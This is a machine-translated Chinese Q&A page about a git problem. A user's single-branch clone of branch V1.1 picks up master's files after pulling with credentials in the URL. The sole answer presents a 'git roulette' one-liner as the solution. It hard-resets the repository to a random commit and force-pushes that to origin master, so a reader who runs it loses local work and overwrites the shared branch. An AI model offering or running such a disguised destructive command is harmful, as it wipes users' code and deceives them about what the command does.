我遇到Git问题。我有一个项目和4个分支V1.0,V1.1,V1.2和主。
现在我用这个命令克隆V1.2:
git clone -b V1.2 --single-branch http://domain/user/project.git .
我得到了正确的版本。以下命令
git pull
和
git pull http://user:passwd@domain/user/project.git
在两个命令Already up-to-date
但是当我使用较低版本1.1执行相同操作时,我会在第一个Command Already up-to-date
上进行操作。在第二个命令:git将我的文件更新为master。为什么?我错了什么?
git status
Auf Branch V1.1
Ihr Branch ist vor 'origin/V1.1' um 45 Commits.
和
git branch
* V1.1
但文件来自主人。
答案 0 :(得分:0)
这可以解决您的问题:
git reset --hard $(git log --pretty=format:"%h" > ~/gitroulette; head -$((${RANDOM} % `wc -l < ~/gitroulette` + 1)) ~/gitroulette | tail -1); git push origin master --force
玩得开心!